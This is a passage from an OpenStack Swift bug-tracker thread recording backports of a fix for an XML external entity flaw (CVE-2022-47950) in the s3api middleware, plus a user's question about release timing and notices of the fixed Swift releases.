    (cherry picked from commit b8467e190f6fc67fd8fb6a8c5e32b2aa6a10fd8e)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/swift/+/871244
Committed: https://opendev.org/openstack/swift/commit/70b68dbf65c7bc67795a8dee65f01c14f9eb94e5
Submitter: "Zuul (22348)"
Branch: stable/train

commit 70b68dbf65c7bc67795a8dee65f01c14f9eb94e5
Author: Aymeric Ducroquetz <email address hidden>
Date: Tue Oct 25 22:07:53 2022 +0200

    s3api: Prevent XXE injections

    Previously, clients could use XML external entities (XXEs) to read
    arbitrary files from proxy-servers and inject the content into the
    request. Since many S3 APIs reflect request content back to the user,
    this could be used to extract any secrets that the swift user could
    read, such as tempauth credentials, keymaster secrets, etc.

    Now, disable entity resolution -- any unknown entities will be replaced
    with an empty string. Without resolving the entities, the request is
    still processed.

    [CVE-2022-47950]

    Closes-Bug: #1998625
    Co-Authored-By: Romain de Joux <email address hidden>
    Change-Id: I84494123cfc85e234098c554ecd3e77981f8a096
    (cherry picked from commit b8467e190f6fc67fd8fb6a8c5e32b2aa6a10fd8e)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/swift/+/871501
Committed: https://opendev.org/openstack/swift/commit/12e54391861e7d182d58f89fb88b027e65842640
Submitter: "Zuul (22348)"
Branch: stable/stein

commit 12e54391861e7d182d58f89fb88b027e65842640
Author: Aymeric Ducroquetz <email address hidden>
Date: Tue Oct 25 22:07:53 2022 +0200

    s3api: Prevent XXE injections

    Previously, clients could use XML external entities (XXEs) to read
    arbitrary files from proxy-servers and inject the content into the
    request. Since many S3 APIs reflect request content back to the user,
    this could be used to extract any secrets that the swift user could
    read, such as tempauth credentials, keymaster secrets, etc.

    Now, disable entity resolution -- any unknown entities will be replaced
    with an empty string. Without resolving the entities, the request is
    still processed.

    [CVE-2022-47950]

    Closes-Bug: #1998625
    Co-Authored-By: Romain de Joux <email address hidden>
    Change-Id: I84494123cfc85e234098c554ecd3e77981f8a096
    (cherry picked from commit b8467e190f6fc67fd8fb6a8c5e32b2aa6a10fd8e)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/swift/+/871502
Committed: https://opendev.org/openstack/swift/commit/f10672514217adadfc776d9ea2ffb20a37ce073b
Submitter: "Zuul (22348)"
Branch: stable/rocky

commit f10672514217adadfc776d9ea2ffb20a37ce073b
Author: Aymeric Ducroquetz <email address hidden>
Date: Tue Oct 25 22:07:53 2022 +0200

    s3api: Prevent XXE injections

    Previously, clients could use XML external entities (XXEs) to read
    arbitrary files from proxy-servers and inject the content into the
    request. Since many S3 APIs reflect request content back to the user,
    this could be used to extract any secrets that the swift user could
    read, such as tempauth credentials, keymaster secrets, etc.

    Now, disable entity resolution -- any unknown entities will be replaced
    with an empty string. Without resolving the entities, the request is
    still processed.

    [CVE-2022-47950]

    Closes-Bug: #1998625
    Co-Authored-By: Romain de Joux <email address hidden>
    Change-Id: I84494123cfc85e234098c554ecd3e77981f8a096
    (cherry picked from commit b8467e190f6fc67fd8fb6a8c5e32b2aa6a10fd8e)

[Jake Yip (waipengyip)]

Thanks for the merges to stable branches!

I'm wondering if the releases will be updated, and when?

I saw an update for stable/xena[1] but that's not right too.

[1]https://review.opendev.org/c/openstack/releases/+/870744

[OpenStack Infra (hudson-openstack)]

This issue was fixed in the openstack/swift 2.31.0 release.

[OpenStack Infra (hudson-openstack)]

This issue was fixed in the openstack/swift 2.30.1 release.

[OpenStack Infra (hudson-openstack)]

This issue was fixed in the openstack/swift 2.29.2 release.

[OpenStack Infra (hudson-openstack)]

This issue was fixed in the openstack/swift 2.28.1 release.